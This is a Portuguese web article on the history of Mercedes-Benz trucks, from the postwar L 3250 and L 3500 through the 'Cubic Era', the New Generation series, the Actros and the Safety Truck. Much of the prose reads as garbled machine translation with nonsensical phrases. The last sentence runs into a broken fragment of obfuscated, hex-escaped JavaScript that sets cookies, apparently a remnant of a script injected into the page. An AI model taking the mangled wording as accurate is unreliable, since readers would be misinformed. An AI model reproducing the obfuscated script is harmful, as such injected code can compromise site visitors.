Caminhões Mercedes

Caminhões Mercedes

A história dos caminhões Mercedes remonta ao final do século XIX, quando os primeiros veículos automotores passaram a ser produzidos. Ao longo das décadas a empresa foi experimentando avanços importantes, sendo sempre uma montadora de vanguarda no setor automobilístico.

A Mercedes esteve presente em momentos de grande valor histórico, como as duas grandes guerras do século XX e a partir de situações cruciais foi inovando sua gama de atuação, se destacando nos mais variados setores, de carros de luxo até caminhões de carga.

O final da década de 1940 foi um marco histórico no desenvolvimento dos caminhões Mercedes. A divisão de veículos comerciais da Daimler-Benz AG estava finalmente em pleno andamento em 1949, quando o L 3250 foi apresentado como seu primeiro novo desenvolvimento no pós-guerra. Com o L 3500 com uma carga útil de 3,5 toneladas, o camião com cabina traseira começou a conquistar o mercado alemão em 1950 e tornou-se rapidamente um modelo de exportação globalmente bem-sucedido. Ele formou a base para todo um espectro de veículos comerciais Mercedes-Benz de última geração, que a partir da década do “milagre econômico” também incluiu os primeiros modelos de cabine sobre o motor.

Do ágil L 319 city runabout, o novo transportador da Mercedes-Benz, até o peculiar LP 333 “Centipede”, os caminhões arredondados e sem capuz forneceram uma antevisão das tendências futuras no design de caminhões. Foi o moderno caminhão cab-over-motor LP 315 que anunciou o desaparecimento gradual do caminhão de cabine convencional clássico a partir de 1955.

Desprezar completamente com a zona de deformação embutida, em 1959 os desenhistas de Mercedes-Benz ‘lançaram os primeiros modelos da série de controle semiprevista. Representado aqui pela L 322 de serviço médio, ao longo de umas boas três décadas, este design tornou-se a epítome mundial dos caminhões robustos e duráveis ​​da Mercedes-Benz, em incontáveis ​​variantes abrangendo todas as categorias de peso.

Mas no transporte de longa distância, pelo menos, a partir de meados dos anos 1960, a idade do caminhão de cabine convencional finalmente acabou: regulamentações rígidas de comprimento e saídas mínimas dependentes de peso aceleraram o desenvolvimento de caminhões modernos com cabine sobre o motor e motores a diesel potentes. , que foram oferecidos como motores eficientes de injeção direta em toda a linha de caminhões da Mercedes-Benz.

O primeiro exemplar da “Era Cúbica” – como os insiders se referiam à era dos caminhões Mercedes-Benz estritamente funcionalmente projetados, com cabines angulares que se estendiam de 1963 até meados da década seguinte – era o LP 1620.

O início desta era está ligado à inauguração da nova fábrica em Wörth, na região alemã da Renânia-Palatinado. A partir de 1965, esta pioneira fábrica de caminhões de última geração foi inicialmente a sede da série de modelos de LP para serviços leves e médios, antes que operações de fabricação de caminhões pesados ​​fossem posteriormente transferidas de Gaggenau. 

A série de modelos “New Generation” foi um marco da década de 1970, apresentando uma revisão completa em termos de engenharia e aparência, foi apresentada em Wörth em 1973. Seu design modular cobria as classes de peso para serviço pesado e médio com um único modelo básico.

A sucessiva série de modelos sucessores NG 80 de 1980 e as séries SK e MK de 1989 também se basearam na versão original de 1973.

Em 1996, foi apresentado o completamente novo caminhão de serviço pesado Actros. Surgiu com motores especialmente econômicos e ecológicos e uma ampla gama de inovações. O Actros iniciou uma mudança de geração no programa de caminhões e abriu caminho para a década seguinte.

Esse caminho foi continuado entre os caminhões leves e médios pelo Atego, apresentado em 1998. O programa é complementado pelo inovador veículo de despejo Econic.

Em 2004, a Mercedes-Benz apresentou a tecnologia diesel ecológica BlueTec, que reduziu as emissões nocivas do Actros de forma eficaz. Em 2005, seguiram-se as séries de modelos leves e médios Atego e Axor.

Em 2006, a Mercedes-Benz apresentou o caminhão mais seguro do mundo: o Safety Truck. Ele foi equipado não apenas com o controle e controle de faixa Telligent do final de 2000 e com o regulamento de estabilidade Telligent do final de 2001, mas também com o inovador sistema de freio de emergência Active Assist Assist Brake (ABA), um marco importante na direção da direção sem acidentes.

Hoje, nomes com um anel internacional, como o Actros, o Atego, o Antos, o Arocs, o Econic, o Zetros e o Unimog representam a abrangente gama de modelos de camiões Mercedes-Benz. Adaptados a qualquer demanda do consumidor, equipados com motores econômicos e seminais e guiados por sistemas de assistência ao motorista de última geração, eles estão em serviço nas estradas de todo o mundo.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]